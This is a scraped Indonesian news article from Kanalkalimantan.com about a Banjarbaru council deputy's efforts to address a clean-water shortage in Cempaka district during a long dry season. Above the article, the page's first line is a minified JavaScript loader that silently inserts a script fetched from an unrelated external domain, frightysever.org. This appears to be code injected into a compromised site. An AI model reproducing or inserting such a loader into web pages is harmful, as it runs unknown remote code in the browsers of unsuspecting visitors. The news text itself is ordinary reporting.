(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Wakil Ketua I DPRD Kota Banjarbaru Taufik Rachman berupaya carikan solusi ketersedian air bersih masyarakat Kecamatan Cempaka yang sedang alami krisis air bersih akibat kemarau panjang.
“Kami menerima informasi warga Cempaka yang kesulitan air bersih saat melakukan reses pada empat kelurahan. Rata-rata keluhan terkait kesulitan air bersih akibat kemarau,” ujarnya di Banjarbaru, Senin (21/8/203).
Menurut Taufik, pihaknya melakukan reses sesuai Daerah Pemilihan (Dapil) Kecamatan Cempaka yang meliputi empat kelurahan yakni Kelurahan Palam, Bangkal, Sungai Tiung dan Kelurahan Cempaka.
Disebutkan politisi Partai Golkar itu, ada enam titik yang dikunjungi pada reses yang dilakukan 15-20 Agustus 2023 yakni satu titik di Kelurahan Palam, dua titik di Bangkal, dua titik Sungai Tiung dan satu di Cempaka.
Baca juga: Ancaman Krisis Air Bersih di Beruntung Baru, BPBD Banjar Kirim Bantuan
“Menjaring spirasi masyarakat dan paling banyak yang disampaikan adalah kesulitan air bersih karena selama ini warga di Cempaka mengandalkan air sumur untuk sehari-hari,” ungkapnya.
Ditekankan Taufik, musim kemarau tahun ini diprakirakan berlangsung lama sehingga pihaknya berupaya mencari solusi baik jangka pendek maupun jangka panjang mengatasi kesulitan yang dirasakan warga.
“Solusi jangka pendek melalui suplai air yang dilakukan oleh PT AM Intan Banjar sehingga kesulitan air bersih yang dirasakan warga berkurang dan mereka bisa menjalankan aktivitas sehari-hari,” ucapnya.
Solusi jangka panjang adalah menambah jaringan pipa air bersih yang dilakukan PT AM Intan Banjar sehingga bisa menyuplai air meski pun di musim kemarau.
Baca juga: Bebek Jadul Modifikasi Armada ‘Tempur’ BPK Duta Sabumi Memburu Karhutla
Taufik juga minta aparatur kelurahan dan kecamatan Cempaka melakukan pemetaan kawasan rawan krisis air bersih sehingga bisa terdata dan dipasangi jaringan pipanisasi di kawasan itu.
“Kami mendorong PT AM Intan Banjar untuk menambah jaringan pipanisasi ke pemukiman warga, namun tetap menunggu pemetaan kawasan rawan air bersih dari pihak kelurahan dan kecamatan,” kata dia.
Taufik meminta, apabila jaringan pipa bisa mencapai permukiman warga yang kesulitan air bersih maka diminta bisa dibantu PT AM Intan Banjar untuk diberikan keringanan membayar biaya pemasangan. (Kanalkalimantan.com/bie)
Reporter bie
Editor : kk
KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More
Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
This website uses cookies.